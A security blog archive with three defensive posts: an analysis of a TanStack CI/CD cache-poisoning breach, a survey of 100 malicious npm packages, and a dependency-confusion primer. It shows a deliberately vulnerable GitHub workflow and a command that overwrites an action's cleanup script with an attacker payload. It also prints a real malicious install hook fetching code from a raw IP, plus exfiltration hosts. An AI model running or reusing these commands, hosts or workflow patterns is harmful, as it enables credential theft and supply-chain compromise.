Tag Archives: Supply Chain Security

Understanding the TanStack Supply Chain Breach: GitHub Actions Cache Poisoning & The Cacheract Attack

On May 11, 2026, the @tanstack namespace on npm was compromised in a sophisticated supply chain attack. Identified as part of the “Mini Shai-Hulud” campaign, the threat actors did NOT steal maintainer credentials. Instead, they manipulated the project’s legitimate release pipeline to publish 84 malicious versions across 42 packages, including @tanstack/react-router.

This incident demonstrates how minor CI/CD misconfigurations can be chained together using advanced exploitation techniques like Cacheract to compromise highly secure deployment environments.


1. The Root Vulnerability

1.1 The pull_request_target misconfiguration

The entry point for this attack was a severe misconfiguration within TanStack’s benchmarking workflow, bundle-size.yml.

To manage community contributions, GitHub Actions offers two distinct triggers for handling Pull Requests: pull_request and pull_request_target.

Security featurepull_request (secure default)pull_request_target (vulnerable if misconfigured)
Execution contextRuns in the context of the untrusted fork.Runs in the context of the trusted base repo (main).
Secret accessCompletely blocked from repository secrets.Has full access to repository secrets.
Cache write scopeIsolated strictly to the fork branch.Mapped directly to the default (main) branch.

1.2 The “Pwn Request” Configuration

The workflow authors used pull_request_target because they wanted the pipeline to automatically write benchmark comparisons as a comment back onto incoming PRs.

The catastrophic flaw lay in how the workflow handled the code checkout and execution:

on:
  pull_request_target:        # Runs with elevated base repository privileges

jobs:
  benchmark:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          # MISCONFIGURATION 1: Checking out untrusted code from the attacker's fork
          ref: ${{ github.event.pull_request.head.sha }}

      - name: Run Build Benchmarks
        # MISCONFIGURATION 2: Executing untrusted scripts in a privileged context
        run: pnpm nx run @benchmarks/bundle-size:build

By explicitly checking out the untrusted pull request SHA (github.event.pull_request.head.sha) and running its build scripts, the workflow executed attacker-controlled code inside a pipeline running under the context of the main branch scope.

1.3 Breaking the Boundary: Package Manager Cache Isolation

To understand how the attacker capitalized on this access, we must look at how modern continuous integration pipelines optimize build times.

Instead of downloading thousands of Node modules from the public registry on every single run, repositories use dependency caching. TanStack utilized a standard, deterministic cache key format mapped to a hash of the project’s lockfile:

- uses: actions/cache@v5
  with:
    path: ~/.local/share/pnpm/store
    key: Linux-pnpm-store-${{ hashFiles('**/pnpm-lock.yaml') }}

1.4 The Isolation Bypass

GitHub enforces cache security boundaries by Git branch scopes. Under normal circumstances, a workflow running on a pull request fork cannot overwrite or corrupt the cache assets belonging to the main branch.

However, because the pull_request_target misconfiguration forced the entire runner container to evaluate under refs/heads/main, the attacker’s fork inherited direct write permissions to the base repository’s central cache storage.


2. Deep Dive: The Mechanics of a Cacheract Attack

The threat group executed this cache hijacking using Cacheract, an attack methodology originally detailed by security researcher Adnan Khan. This technique allows a threat actor to leverage the internal architecture of a GitHub runner to bypass standard step-level token restrictions. To follow this concept, you need one concept that isn’t obvious unless you’ve written GitHub Actions before.

Every GitHub Action can register a cleanup script. When you write uses: actions/checkout@v4, you’re not just running one block of code โ€” you’re registering an action that has both a “main” step and a separate “post” step that runs automatically after all your workflow’s main steps finish. It’s how actions/checkout removes SSH keys it added, how cache actions save state on the way out, and so on. You don’t write these cleanup scripts. You don’t see them in your workflow YAML โ€” they just run when you configure a GitHub action.

Here’s the catch: the cleanup phase runs in a slightly more privileged context than your regular steps. GitHub’s runner needs to be able to clean up its own internal state โ€” saving caches, removing tokens โ€” so during cleanup it makes available an internal credential called ACTIONS_RUNTIME_TOKEN. This token authorizes direct reads and writes to GitHub’s cache backend. The permissions: contents: read setting in your workflow does nothing to restrict it, because it’s the runner orchestrator’s token, not the workflow’s GITHUB_TOKEN. (This is exactly why the permissions: contents restriction added by the author of the GitHub workflow is not effective.)

An analogy: think of a workflow like a building that has business hours and after-hours cleaning. During business hours (your main steps), everything is locked down โ€” your GITHUB_TOKEN only has the permissions you explicitly granted, doors require badges, security cameras are on. After business hours (the cleanup phase), the cleaning crew comes through with master keys. They’re trusted, they have access to backend systems, and nobody watches what they do because it’s all routine. If an attacker can leave instructions for the cleaning crew, they don’t need to break into the building during the day โ€” they get all of the cleaning crew’s after-hours access.

2.1 Bypassing Step-Level Restraints

That’s exactly the attack. While the attacker’s build script was running as a normal workflow step, it navigated to the runner’s local on-disk storage for installed actions, found the JavaScript file that actions/checkout had registered as its post-step cleanup, and overwrote that file with the attacker’s own code. From the runner’s point of view, nothing suspicious happened โ€” a build step modified some files in the runner’s working directory, which is allowed.

The author of the workflow had attempted to restrict the job by adding permissions: contents: read. They assumed this would prevent the script from modifying the repository or altering state.

However, GitHub’s caching infrastructure completely bypasses the standard GITHUB_TOKEN. When a runner manages caches, GitHub’s orchestrator automatically injects two hidden backend environment variables into the runner context:

  • ACTIONS_CACHE_URL: a dedicated cloud storage API endpoint.
  • ACTIONS_RUNTIME_TOKEN: a temporary bearer token authorizing network read/write operations directly to the repository’s cache server.

2.2 Clobbering the Post-Checkout Lifecycle Hook

To evade detection and avoid logging suspicious network traffic during the explicit workflow steps, the attacker’s setup script (vite_setup.mjs) used a post-checkout “clobbering” technique. It involves three steps.

2.2.1 Navigated to the runner’s hidden execution directories

A GitHub Actions runner (the VM your workflow runs on) has a specific filesystem layout that workflow authors almost never think about. The directories aren’t “hidden” in the dotfile sense โ€” they’re plain visible directories that just happen to live outside your repo checkout, so nobody looks at them. The relevant ones:

  • /home/runner/work/<org>/<repo>/ โ€” where your code is checked out. This is where you spend your time when debugging a workflow.
  • /home/runner/_work/_actions/ โ€” where the runner downloads the source code of every action you uses: before running it. This is the directory the attacker was after.

When your workflow says uses: actions/checkout@v4, the runner does roughly the equivalent of git clone --depth=1 https://github.com/actions/checkout && git checkout v4, but it puts the result inside /home/runner/_work/_actions/actions/checkout/v4/. So on the runner’s disk you end up with a real, modifiable copy of actions/checkout‘s entire source code, including its compiled JavaScript bundle. The path looks like:

/home/runner/_work/_actions/actions/checkout/v4/
โ”œโ”€โ”€ action.yml
โ”œโ”€โ”€ dist/
โ”‚   โ””โ”€โ”€ index.js         โ† the code the runner actually executes
โ”œโ”€โ”€ package.json
โ””โ”€โ”€ ...

There’s no special permission gate around it. The workflow’s process โ€” including any run: step you have โ€” runs as the user runner, and the runner owns these files. Your build script can cd there and cat or rm or > overwrite whatever it wants. The runner doesn’t check.

2.2.2 Overwrote the post-script files belonging to actions/checkout

Every GitHub Action has a manifest file (action.yml) at its root that tells the runner how to run it. For actions/checkout, that manifest declares both a main JavaScript entry point and a post JavaScript entry point:

# actions/checkout/v4/action.yml (simplified)
runs:
  using: 'node22'
  main: 'dist/index.js'      # runs during your workflow's main steps
  post: 'dist/index.js'      # runs during cleanup
  post-if: 'success()'

In practice, actions/checkout uses the same compiled bundle for both phases and switches behavior internally based on an env var the runner sets, but the relevant fact for the attack is that the runner re-reads that JavaScript file from disk when it’s time to run cleanup.

The attacker’s malicious build step did the equivalent of:

cd /home/runner/_work/_actions/actions/checkout/v4
echo '<attacker JS payload>' > dist/index.js

It didn’t touch action.yml. It didn’t rename anything. It just replaced the contents of the file that the runner was going to load again, soon, automatically, with elevated privileges.

The runner has no integrity check on this. There’s no signature verification, no “did the SHA-256 of this file change since download” check, no read-only filesystem protection on the actions directory. Once actions/checkout was downloaded by the runner at the start of the workflow, the bytes in dist/index.js were just bytes on a writable disk.

2.2.3 The runner entered its Post-Action Lifecycle Phase

When a workflow runs, the runner follows a strict lifecycle that the workflow author neither defines nor controls. It looks roughly like this:

Phase 1 โ€” Setup
  โ””โ”€ Download every uses: action into /home/runner/_work/_actions/

Phase 2 โ€” Main steps
  โ””โ”€ For each step in your workflow, run it in order
      (this is where your build script lives)

Phase 3 โ€” Post steps (mandatory, automatic)
  โ””โ”€ For every action that declared a "post:" entry in its manifest,
      run that entry point now, in reverse order of the main steps

You don’t write it into your workflow. You can’t disable it. The runner walks its internal list of “actions that registered a post step” and executes each one. For each, it loads the JS file from disk and runs it as a Node.js script.

Two things make this phase special from an attacker’s perspective. First, the runner injects ACTIONS_RUNTIME_TOKEN and ACTIONS_CACHE_URL into the environment so cleanup code can talk to GitHub’s cache and artifact backends โ€” this is exactly the credential the attacker wanted. Second, the runner trusts the on-disk JS files implicitly; it has no concept of “verify this is the same file we downloaded in Phase 1.”

So when the runner reached Phase 3 and tried to run actions/checkout‘s post step, it loaded dist/index.js (which now contained attacker code), executed it as Node, and made the runtime token available in process.env. The attacker code read the token, opened an HTTPS connection to GitHub’s cache backend, and uploaded the 1.1 GB poisoned pnpm store.

From the runner’s logs, this looked like actions/checkout performing its normal cleanup. There was no run: step in the YAML that did the upload. The workflow definition was, by that point, irrelevant โ€” the malicious code was running inside the trusted post-step machinery.

2.3 Cache Stuffing and Replacement

After uploading the poisoned cache, the attacker force-pushed a blank commit to their PR branch and closed the PR. No code remained anywhere in any visible branch. No audit trail except a cache write that no maintainer was watching.

Eight hours later, a TanStack maintainer pushed a routine documentation update to main. That commit was clean. The maintainer wasn’t compromised. But the commit triggered the official release.yml workflow, which executed the standard cache-restore step:

The release pipeline was using OIDC (permissions: id-token: write) โ€” passwordless, short-lived, generally considered the correct way to authenticate to npm. The malware didn’t need a stolen long-lived secret. It just needed to be running inside the same process when OIDC handed the build a fresh token, and it scraped that token from process memory before it could be used.

From npm’s perspective, the publish came from the real release runner, signed by the real OIDC chain, with a real SLSA provenance attestation. Everything verified. Only the payload was poisoned.


3. The Delayed Execution: How the Trap Was Sprung

Once the cache was successfully poisoned, the attacker force-pushed a completely blank commit to the pull request branch to erase visible change logs and closed the PR. No malicious code remained in any open branch or code review window.

The compromised payload sat quietly on GitHub’s backend for nearly eight hours until an entirely unrelated event took place: a core maintainer pushed a safe documentation update straight to the main branch.

This pushed commit triggered the official production release.yml workflow.

  1. The Retrieval: the release runner executed its cache retrieval step, generated the deterministic key string, matched it to the poisoned archive, and extracted the malicious 1.1 GB dependency store onto the machine.
  2. The Execution: when the pipeline issued its standard pnpm build command, pnpm read directly from the local store rather than downloading clean modules from the internet.
  3. The Compromise: the malicious binaries executed on the highly secure release runner. Because the release pipeline required permissions to publish to npm via passwordless OpenID Connect (permissions: id-token: write), the malware used a memory dumper to scrape /proc/<pid>/mem, lift the active OIDC token from the worker process, and publish compromised packages to the npm ecosystem with a valid SLSA provenance attestation.

Key Takeaways for Securing CI/CD Pipelines

The TanStack breach underscores that security boundaries in CI/CD are absolute; once a privilege boundary is crossed, standard permission gates fail. To defend against cache poisoning and Cacheract-style attacks, implement the following guardrails:

  • Never check out untrusted PRs in pull_request_target: if you must use pull_request_target to interact with PR data (such as posting comments), do not check out code or run scripts originating from the fork. Keep code execution strictly confined to the pull_request trigger.
  • Isolate cache keys by scope: prevent cross-boundary poisoning by adding the runner’s execution context or branch reference directly into your cache keys (e.g., key: ${{ github.ref_name }}-pnpm-store-${{ hashFiles('**/pnpm-lock.yaml') }}). This ensures a PR can never generate a key that matches a production release key.
  • Pin actions to immutable commit SHAs: avoid using mutable version tags (like @v4) for actions in highly privileged workflows. Pin actions to a specific, auditable Git commit SHA to prevent runtime environment tampering.

What is behind the NPM malicious packages?

An analysis of 100 malicious NPM packages 

Background

The practice of attackers publishing malicious NPM packages to the npm registry for the purposes of stealing sensitive information or launching supply chain attacks is not a new phenomenon. Every month, hundreds of malicious packages are detected and reported by security companies. For example, Snyk vulnerability DB added hundreds of malicious npm packages every month

To ascertain the objectives of the malicious packages,I initiated the process of extracting the source codes  of the most recently 104 malicious packages listed under Snyk vulnerability DB (The list might not be the latest now as the process started at the beginning of April) , with the aim of closely examining the activities that the packages are designed to perform and how it is going to launch malicious activities.   

Key Findings from the Analysis

Upon completion of the analysis, the results were unexpected, with both positive and negative aspects that can be gleaned from the findings. The Appendix provides details about the analysis against these malicious packages, including the package name, source code and the malicious activity executed by the malicious package. Here are some primary findings drawn from the analysis.

  • Key Findings 1.  More than 95% malicious package are created for POC purposes
  • Key Findings 2:  DNS Data Exfiltration and Data Encryption are used to steal collected data
  • Key Findings 3:  Steal Discord Token and Environment variables are still key motivations for the malicious packages  
  • Key Findings 4: AI is a valuable tool to detect and analyze malicious packages.
  • Key Findings 5: 70% malicious NPM package are sending collected data over HTTPS requests
  • Key Findings 6:  99% of the malicious package are executed at install time

Key Findings 1.  More than 95% malicious package are created for POC purposes

One of the significant discoveries was that over 95% of the malicious packages were created for the sole purpose of Proof of Concept (POC) demonstration by security researchers or bug bounty hunters. 

These malicious packages analyzed were found to collect system information, including non-sensitive data such as the OS platform, hostname, username, current path, and public IP address, which do not pose immediate threats. Out of the 100 packages examined, the majority were developed for POC demonstrations. It is surprising to note that these security researchers seem to be saturating the npm registry with so many packages;  and it is unclear whether this is beneficial or detrimental for security. 

Key Findings 2:  DNS Data Exfiltration and Data Encryption are used to steal collected data

To ensure the collected data by the malicious code  is harvested by the attacker, we found the DNS data exfiltration and data encryptions are used when sending collected data to the destination target controlled by the attacker 

The use of DNS as a means for data exfiltration is becoming more common by  attackers as many security products are performing well to detect malicious activity through TCP protocols.  As observed during the analyzing, we saw a couple of dozenโ€™s malicious packages are using DNS data exfiltration to steal sensitive data.

Another way to hide the malicious activity discovered when analyzing the malicious package is to use encryption to encrypt the collected data when sending over HTTPS requests.  

Key Findings 3:  Steal Discord Token and Environment variables are still key motivations for the malicious packages  

Based on our analysis, it has been found that the stealing of Discord tokens and sensitive environment variables (login credentials, system and network data) remains a key motivation for creating malicious packages. 

In addition to stealing Discord tokens and environment variables, the other motivations for creating and distributing malicious packages that we identified are running cryptocurrency miners or ransomware and using the packages to create botnets for use in other malicious campaigns.  

We also noted that  it is very likely for an attacker to use a combination of different methods to achieve their goals. In one of  the packages (ul-mailru) analyzed, we found the malicious package is using a nodemailer function to send email besides stealing the system environment variables.

Key Findings 4: AI is a valuable tool to detect and analyze malicious packages.

The obfuscation techniques used in NPM malicious packages can make it difficult for security researchers or software developers to read and understand the intention of the code as the obfuscated code is not really human readable. However, by using AI powered tools, like ChatGPT, to deobfuscate the codes, it was possible to accurately deobfuscate the malicious packages and quickly analyze the intentions of the codes.  I was kind of shocked to see how accurate and quick that ChatGPT could deobfuscate some malicious obfuscated packages when firstly used to analyze a malicious package (not listed in the 100 packages analyzed).

Besiding deobfuscating the packages,   I was using ChatGPT to double check the codes of the malicious packages to ensure comprehensive analysis of the malicious packages;  and the ChatGPT was able to find more data compared to the results that I analyzed. 

This highlights  the capability of using AI-powered tools like ChatGPT to assist in the detection and analysis of malicious packages.

Key Findings 5: 70% malicious NPM package are sending collected data over HTTPS requests

With more and more security products being deployed in the critical environment to monitor suspicious traffic, using HTTPS request or other TCP protocol sends sensitive data could be detected relatively easier by these security tools. 

But it is surprising to see that more than 70% of the analyzed packages are still using HTTPS requests to send collected data. Many malicious packages are using pipedream to create a webhook and deliver the collected data through it.

Key Findings 6:  99% of the malicious package are executed at install time

A noteworthy discovery is that 99% of the examined packages execute the malicious code by utilizing the “preinstall” and “install” scripts specified in the package.json file  during the package installation time. It means,  that upon running the command “npm install malicious-package” in your terminal,  the malicious code will be activated, regardless of whether you are actively using it or not after installing

Due to this specific pattern, I think it might be easy for some automation tools to use this pattern to analyze the package.json file to detect malicious packages. For developers,  checking the package.json file for suspicious scripts can help to mitigate risk of installing a malicious package.

Conclusion

In conclusion, here are some key takeaways from the analysis

  • As the cost of publishing a malicious npm package is really low, the threat of the malicious package continues to evolve. It is important for the NPM community to perform some proactive methods to improve the security of the NPM ecosystem. 
  • The use of sophisticated techniques, such as code obfuscation, encryption and DNS data exfiltration, employed by attackers shows the need for advanced security tools that can detect and prevent such attacks. 
  • By considering the huge amount of malicious packages published daily and the specific patterns that most malicious packages are using, integrating AI into security tools could be a good option to combat malicious packages.

However, it is important to note that the analysis only represents a tiny portion of the malicious packages published daily, and there may be many more undiscovered malicious packages in the wild. 

Appendix

Package NameMalicious ActivitySource CodeNOTE
mathjs-minSteal Discord token when a user performing squrt_num operationLinkMalicious Package
w00dr0w-test 1. Perform  a combination of system and network reconnaissance
2. Send the collected data to a remote server  by using DNS lookup query after setting DNS server 3.145.70.183
LinkPOC
cirrus-matchmaker1. Collect the system information and send it to the specified URLeo6aglyemjbsegf.m.pipedream.net through HTTP request
2. Write a file in the local system
LinkPOC
pixelstreaming-sfu1. Collect the system information and send it to the specified URLeo6aglyemjbsegf.m.pipedream.net through HTTP request
2. Write a file in the local system
LinkPOCsame for cirrus-matchmaker  
usaa-select 1. Perform a combination of system and network reconnaissance to collect data
2. Send the collected data to a remote server  by using DNS lookup query to DNS server 3.145.70.183
LinkPOCsame for w00dr0w-test  
stripe-firebase-extensions1. Collect the system information and send it to the specified URLeo6aglyemjbsegf.m.pipedream.net through HTTP request2. Write a file in the local systemLinkPOC same for cirrus-matchmaker  
firestore-stripe-payments 1. Collect the system information and send it to the specified URLeo6aglyemjbsegf.m.pipedream.net through HTTP request
2. Write a file in the local system
LinkPOC same for cirrus-matchmaker  Same author
usaa-slider1. Perform a combination of system and network reconnaissance to collect data
2. Send the collected data to a remote server  by using DNS lookup query to DNS server 3.145.70.183
LinkPOC
Same to the author of w00dr0w-test 
int_stripe_sfra1. Collect the system information and send it to the specified URLeo6aglyemjbsegf.m.pipedream.net through HTTP request
2. Write a file in the local system
Linksame for cirrus-matchmaker  Same author
ul-mailru1. Use nodemailer library to send an email using a Simple Mail Transfer Protocol (SMTP) server hosted on the domain  kedrns.com.
2. collect the system environment variables and sent data to eod8iy0mxruchl8.m.pipedream.net
LinkMalicious 
stats-collect-components1. Collect  system information and send it to a burp endpoint through HTTP RequestLinkPOC
github-repos-searching1. Install another maliciou file  through package.json preinstall scripts `”install”: “npm install http://18.119.19.108/withouttasty-1.0.0.tgz?yy=`npm get cache`;”`LinkMalicious
parallel-workers Collect system information, like hostname, DNS server, username and send the collected data to https://eot8atqciimlu9t.m.pipedream.net through HTTP Request LinkPOC

hoots-lib
Collect system information and AWS credentials of the instance if it’s running on an EC2 instance and send it to a Burp endpoint through HTTP request
Steal environment variables and send it to a  remote host 
LinkMalicious
tiaa-web-ui-coreCollect system information such as the hostname, type, platform, architecture, release, uptime, load average, total memory, free memory, CPUs, and network interfaces and send it to a remote web server through HTTP request LinkPOC
dvf-utils Collect the system information and send it to the specified URL through HTTP requestLinkPOC
Same todvf-utils 
owa-trace 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOCSame fo owa-trace 
owa-fabric-theme 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC Same fo owa-trace 
solc-0.8 Collect the system information and send it to the specified URL through HTTP requestLinkPOCdvf-utils
@exabyte-io/chimpy Source code:https://socket.dev/npm/package/@exabyte-io/chimpy/files/2023.3.3-3/ LinkNot Sure
owa-theme 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC Same fo owa-trace 
egstore-suspense 1. Collect System information and all the installed packages under this project 2. Send the collect information through HTTP requestLinkPOC
clientcore-base-businesslogic1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace  
owa-sprite1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace  
clientcore-onesrv-serviceclients1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace 
testenbdbank1.Collect System information and use the environment variable, like IP address, hostname and the content of /etc/passwd file 2. Send the collected data through HTTP requestLinkPOC
teams-web-part-applicationGather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOC
clientcore-onesrv-businesslogic1.Collect System information and use the environment variable, like API key. Then make an API request to pull user data. 2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
@exabyte-io/wode.jsNot clear why it is marked as maliciousLinkNOT sure
cp-react-ui-libCollect /etc/passwd and send it to a remote server through HTTP by using  preinstall scripts defined under package.jsonLinkPOC
onenote-meetingsGather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOCSame to teams-web-part-application
ifabric-styling-bundleGather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOCSame to teams-web-part-application
seafoam-desktopCollect the system information and send it to the specified URL through HTTP requestLinkPOC
Same todvf-utils 
odsp-sharedCollect system and network information and sends it to a server through HTTP requestLinkPOC
@exabyte-io/made.js Not sure why it is marked as maliciousLinkNot sure
clientcore-models-catalyst 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOCSame to owa-trace  
clientcore-catalyst-businesslogic1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOCSame to owa-trace  
cms-businesslogic-extensions1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOCSame to owa-trace  
egstore-query1. Collect System information and all the installed packages under this project 2. Send the collect information through HTTP requestLinkPOC
Same to egstore-suspense 
teams-calendar-web partGather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOC
Same to teams-web-part-application
cms-businesslogic1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOCSame to owa-trace  
npo-common 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOCSame to owa-trace  
egstore-ctx 1. Collect System information and all the installed packages under this project 2. Send the collect information through HTTP requestLinkPOC
Same to egstore-suspense 
office-fluid-containerGather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOC
Same to teams-web-part-application
globalize-bundle Gather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOC
Same to teams-web-part-application
cms-serviceclients 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace  
@clearing/models 1. Collect the system information and send it to the specified URL through HTTP requestLinkPOC
Same to def-utl
devcenter-internal-stable 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC 
Same to owa-trace  
kol-demoGather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkSame to teams-web-part-application
clientcore-base-serviceclients1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC 
Same to owa-trace  
cms-ui-presentationlogic 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC 
Same to owa-trace  
cms-models 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace  
cms-serviceclients-extensions1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace  
devcenter-internal-beta1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace  
cms-external-datajs 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace  
cms-typed-promise1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace  
Cms-ui-views 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace  
sp-image-editGather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOC
Same to teams-web-part-application
catalog-container Gather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOC
Same to teams-web-part-application
follow-ebay Gather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOC
Same to teams-web-part-application
sp-yammer-common Gather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOC
Same to teams-web-part-application
package-private-16Run DNS query to collect a system informationLinkPOC
cms-ui-redux 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace  
owa-strings1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPoC
Same to owa-trace
core-site-speed-ebayGathering information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOCSame to teams-web-part-application
fluent-ui-react-latest 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace
sp-home-core Gather information about the system (hostname, network interfaces, system path, username, and current package) and sending it to a specified URL using an HTTP GET requestLinkPOCSame to teams-web-part-application
ts-infra-common 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace
React-advanced-breadcrumbs 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace
cyclotron-svcCollect the system information and send it to the specified URL through HTTP requestLinkPOC
Same todvf-utils 
React-screen-reader-announce 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace
canopy-common-fo 1.Collect System information and use the environment variable, like IP address, hostname2. Send the stolen data using dns lookup with data exfiltrationLinkPOC
Same to owa-trace
ing-feat-customer-video Collect the system information and send it to the specified URL through HTTP requestLinkPOC
Same todvf-utils 
ing-feat-chat-components Collect the system information and send it to the specified URL through HTTP requestLinkPOC
Same todvf-utils 
commerce-sdk-reactCollect System information and encrypt it; Send it to a remote server with HTTP requestCreate a local file.LinkPOC
internal-lib-buildCollect System information and encrypt it; Send it to a remote server with HTTP requestCreate a local file.LinkPOC
Same to  commerce-sdk-react 
woofmd-to-bemjsonCollect system information by using preinstall command under package.json file LinkPOC
Same to postcss-file-match 
@geocomponents/reducers  Collect the system information and send it to the specified URL through HTTP requestLinkPOC
rimg-shopifyCollect System and network information. Encrypt the collected information and sent it through HTTP request
LinkPOC
postcss-file-matchCollect system information and send it through a HTTP request by using preinstall command  defined under package.json file LinkPOC
Same to postcss-file-match 
yandex-netCollect system information and send it through a HTTP request by using preinstall command  defined under package.json file LinkPOC
Same to postcss-file-match 
branch-to-cmsg Collect system information and send it through a HTTP request by using preinstall command  defined under package.json file LinkPOC
Same to postcss-file-match 
yappy_tsCollect system information and send it through a HTTP request by using preinstall command  defined under package.json file LinkPOC
Same to postcss-file-match 
taxi-localizationCollect system information and send it through a HTTP request by using preinstall command  defined under package.json file LinkPOC
Same to postcss-file-match 
staff-wwwCollect system information and send it through a HTTP request by using preinstall command  defined under package.json file LinkPOC
Same to postcss-file-match 
hermione-login-pluginCollect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match 
tools-access-lego Collect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match 
express-tvm-nodejs4Collect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match 
y-font-decoderCollect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match 
lego-stuff Collect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match 
express-yandex-send-limit Collect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match
borschik-webp-internalCollect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match
supchat-pluginsCollect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match
bemhint.i18n Collect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match
yandex-cssformat Collect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match
portal-node-loggerCollect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match
toolbox-bem-bundleCollect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match
y-dotCollect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match
yandex-bro-embedded-site-apiCollect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match 
tanker-ts-i18nCollect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match 
fiji-svg-spriteCollect system information and send it through a HTTP request by using preinstall command defined under package.json file 
LinkPOC
Same to postcss-file-match 
karma-jasmine-i-global Collect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOCSame to postcss-file-match 
yandex-logger-std Collect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match 
pdb-uatraits Collect system information and send it through a HTTP request by using preinstall command defined under package.json file LinkPOC
Same to postcss-file-match 

How Dependency Confusion attack works and How to prevent it

Dependency confusion is a novel type of supply chain security issue after it was first disclosed by Alex Birsan in 2021 .This attack, as the name implies, might be initiated via a perplexing dependency manager tool (npm for NodeJs, pip for Python, rubygems for Ruby) to install a malicious dependency package. 

Before we dive deep into the issue,  let’s have a look at how package manager tools pull and install packages on a workstation. The graphic below depicts the workflow when the command ‘npm install express‘ is done on a workstation.

How Package Manager Tool works

How does dependency confusion attack works?

A dependency confusion attack occurs when a dependency library is downloaded from a public registry rather than the intended private/internal registry because a malicious attacker could trick the package manager (npm for NodeJs, pip for Python, rubygems for ruby) into downloading the malicious one from the public repository he controls.

To deceive the package manager tools into downloading the malicious package from the public registry, the attacker must meet the following prerequisites.

  1. Find the name of a package that the victims wants to install
  2. Create an identically named package and publish it under the public or default registry.
